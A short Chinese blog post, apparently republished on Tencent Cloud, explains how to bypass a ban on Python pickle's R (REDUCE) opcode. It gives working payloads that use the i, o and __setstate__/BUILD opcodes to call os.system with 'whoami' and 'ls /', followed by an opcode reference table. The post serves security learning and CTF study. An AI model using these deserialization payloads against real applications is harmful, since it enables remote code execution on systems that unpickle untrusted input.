前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python pickle反序列化R指令禁用绕过

python pickle反序列化R指令禁用绕过

作者头像
yulate
发布2023-05-02 11:04:44
7570
发布2023-05-02 11:04:44
举报

本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。

这篇文章只是记录一下在禁用了R指令也就是reduce方法的情况下如何进行pickle反序列化

R指令不可用的情况下还能用i指令和o指令

i
代码语言:javascript
复制
b'''(S'whoami'
ios
system
.'''
o
代码语言:javascript
复制
b'''(cos
system
S'whoami'
o.'''
setstate
代码语言:javascript
复制
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
pickle opcode表

name

op

params

describe

e.g.

MARK

(

null

向栈顶push一个MARK

STOP

.

null

结束

POP

0

null

丢弃栈顶第一个元素

POP_MARK

1

null

丢弃栈顶到MARK之上的第一个元素

DUP

2

null

在栈顶赋值一次栈顶元素

FLOAT

F

F [float]

push一个float

F1.0

INT

I

I [int]

push一个integer

I1

NONE

N

null

push一个None

REDUCE

R

[callable] [tuple] R

调用一个callable对象

crandom\nRandom\n)R

STRING

S

S [string]

push一个string

S 'x'

UNICODE

V

V [unicode]

push一个unicode string

V 'x'

APPEND

a

[list] [obj] a

向列表append单个对象

]I100\na

BUILD

b

[obj] [dict] b

添加实例属性(修改__dict__)

cmodule\nCls\n)R(I1\nI2\ndb

GLOBAL

c

c [module] [name]

调用Pickler的find_class,导入module.name并push到栈顶

cos\nsystem\n

DICT

d

MARK [[k] [v]...] d

将栈顶MARK以前的元素弹出构造dict,再push回栈顶

(I0\nI1\nd

EMPTY_DICT

}

null

push一个空dict

APPENDS

e

[list] MARK [obj...] e

将栈顶MARK以前的元素append到前一个的list

](I0\ne

GET

g

g [index]

从memo获取元素

g0

INST

i

MARK [args...] i [module] [cls]

构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class

(S'ls'\nios\nsystem\n

LIST

l

MARK [obj] l

将栈顶MARK以前的元素弹出构造一个list,再push回栈顶

(I0\nl

EMPTY_LIST

]

null

push一个空list

OBJ

o

MARK [callable] [args...] o

同INST,参数获取方式由readline变为stack.pop而已

(cos\nsystem\nS'ls'\no

PUT

p

p [index]

将栈顶元素放入memo

p0

SETITEM

s

[dict] [k] [v] s

设置dict的键值

}I0\nI1\ns

TUPLE

t

MARK [obj...] t

将栈顶MARK以前的元素弹出构造tuple,再push回栈顶

(I0\nI1\nt

EMPTY_TUPLE

)

null

push一个空tuple

SETITEMS

u

[dict] MARK [[k] [v]...] u

将栈顶MARK以前的元素弹出update到前一个dict

}(I0\nI1\nu

参考链接

pickle反序列化的利用技巧总结:https://zhuanlan.zhihu.com/p/361349643 从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势:https://zhuanlan.zhihu.com/p/89132768 通过AST来构造Pickle opcode:https://xz.aliyun.com/t/7012

浏览量: 360

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-10-15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • i
  • o
  • setstate
  • pickle opcode表
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档